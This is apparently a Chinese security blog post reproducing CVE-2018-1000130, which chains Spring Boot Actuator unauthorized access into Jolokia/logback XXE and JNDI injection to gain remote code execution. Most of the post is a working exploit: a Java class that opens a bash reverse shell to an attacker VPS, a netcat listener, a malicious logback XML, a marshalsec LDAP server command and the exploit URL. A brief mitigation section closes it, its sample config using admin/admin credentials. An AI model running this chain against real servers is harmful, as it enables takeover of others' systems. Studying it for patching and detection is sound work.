前言

前段时间在测试时侥幸挖到这个漏洞,原先只打算提交未授权访问,不过后面发现了jolokia logback,属于比较老的,但是危害极大,选择记录一下

正文

jolokia logback XXE 引发的rce

CVE-2018-1000130

从springboot actuator未授权访问漏洞引入

springboot官方文档对每个端点的功能进行了描述。

image-20231026231250262

1、Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径

当端点中使用了jolokia时,可能会存在XXE漏洞,远程加载XML但是没有过滤得当,导致加载了恶意代码造成RCE

关于jolokia,GPT是这么说的

JMX API,被称之为被管理的bean,或者MBean,漏洞存在于某些接口中,reloadByURL方法, 这个方法是造成RCE的关键。因为logback组件提供的reloadByURL操作使我们可以从外部URL重新加载日志配置

环境

springboot1.x,jolokia1.6,java1.8(远程加载类还能用的JDK版本)

在本地启动springboot项目

image-20231026154213411

常规的目录扫描就可以找到,需要批量检测可以写个脚本,确定未授权

image-20231026154848148

访问 /jolokia/list ,查看JMX API接口是否存在 ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL

image-20231026160246103

确认存在,可以尝试攻击

复现

创建java恶意类,javac编译出.class文件放到自己的VPS上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

public class POC{
public POC() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}

------------
public class POC {
public POC() {
try {
System.setSecurityManager(null);
java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/VPS地址/7777 0>&1`");
} catch(Exception e) {
e.printStackTrace();
}
}
}

nc监听:
nc lvp 7777

再写一个poc.xml,同样放在VPS同一目录下

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.1.130:8888/jndi" as="appName" />
</configuration>

在当前目录下,用python开启一个简单http服务

1
python3 -m http.server 8080

image-20231026165003611

image-20231026164934151

使用marshalsec创建 ldap 服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.130:8080/#POC 8888

随后用这样的方式访问加载远程的文件

1
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.1.130:8085!/POC.xml

image-20231027102236304

image-20231026230721851

想要反弹shell,更换恶意类即可,如下

总结

1
2
3
4
5
1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
3. 目标机器使用 saxParser.parse 解析 xml 文件 (xxe)
4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,允许访问外部 JNDI 服务器地址
5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

防护

application.properties中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。

1
2
3
4
management.port=8099
management.security.enabled=true
security.user.name=admin
security.user.password=admin

**jolokia **升级到最新版